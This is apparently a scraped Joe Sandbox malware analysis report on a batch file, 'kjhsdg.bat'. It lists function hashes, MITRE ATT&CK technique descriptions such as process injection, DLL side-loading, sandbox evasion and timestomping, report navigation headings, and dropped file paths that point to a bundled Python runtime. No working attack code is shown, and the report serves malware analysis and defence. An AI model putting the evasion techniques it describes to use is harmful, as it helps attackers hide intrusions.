Opcode ID: 8a5a41df821df0e4f748830cae549daace9d67f016e3083c18a1b6847f898065
Instruction ID: 191617ceee889ec1b776a361fbb2d1250ce1ead809f4672e64413ffe75dfec08
Opcode Fuzzy Hash: 8a5a41df821df0e4f748830cae549daace9d67f016e3083c18a1b6847f898065
Instruction Fuzzy Hash: 7201677111CB0C4FDB44EF0CE451AA5B7E0FB95364F10056EE58AC3695DB36E882CB45

Function 00007FF848F17E7B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f51acc20f69b49d1bd97277dd5764009c9a8164a0df21b9f180261bdcfe252
Instruction ID: 306325764b957e755e89838ba0ffebddd8b3de987c97a19538ee59c369b395de
Opcode Fuzzy Hash: 86f51acc20f69b49d1bd97277dd5764009c9a8164a0df21b9f180261bdcfe252
Instruction Fuzzy Hash: 32F0AF36A0CD5D4EEB10AA68BC549A8BBE0EF857A4F05006AE50CC31D5D76A5C55C309

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kjhsdg.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\DLLs\Error_cache.db

C:\Users\Public\Document\DLLs\ld_312.pd

C:\Users\Public\Document\DLLs\libcrypto-3.dll

C:\Users\Public\Document\DLLs\libffi-8.dll

C:\Users\Public\Document\DLLs\libssl-3.dll

C:\Users\Public\Document\DLLs\py.ico

C:\Users\Public\Document\DLLs\pyc.ico

C:\Users\Public\Document\DLLs\pyd.ico

C:\Users\Public\Document\DLLs\pyexpat.pyd

C:\Users\Public\Document\DLLs\python_lib.cat

C:\Users\Public\Document\DLLs\select.pyd

C:\Users\Public\Document\DLLs\sqlite3.dll

C:\Users\Public\Document\LICENSE.txt

C:\Users\Public\Document\NEWS.txt

C:\Users\Public\Document\python.exe

Windows Analysis Report
kjhsdg.bat